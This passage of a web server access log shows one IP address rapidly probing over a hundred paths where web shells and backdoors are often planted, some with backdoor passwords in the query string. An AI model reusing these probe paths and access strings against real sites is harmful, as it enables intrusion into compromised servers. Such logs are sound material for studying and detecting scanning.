"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:03 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:04 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:04 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:04 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:04 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:04 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:05 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:06 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:07 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:07 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:07 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:07 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:07 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:08 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:09 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:10 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:10 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:10 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:10 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:10 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:11 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:12 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:13 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:14 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:14 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:14 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:14 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:14 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:15 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:15 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:15 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:15 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:15 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:16 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:17 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:17 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:17 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:17 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:17 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:18 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:19 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:19 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:19 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:19 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:19 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:20 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:20 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:20 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:20 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:20 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:21 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:22 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:22 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:22 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:22 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:22 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:23 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:24 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:24 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:24 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - 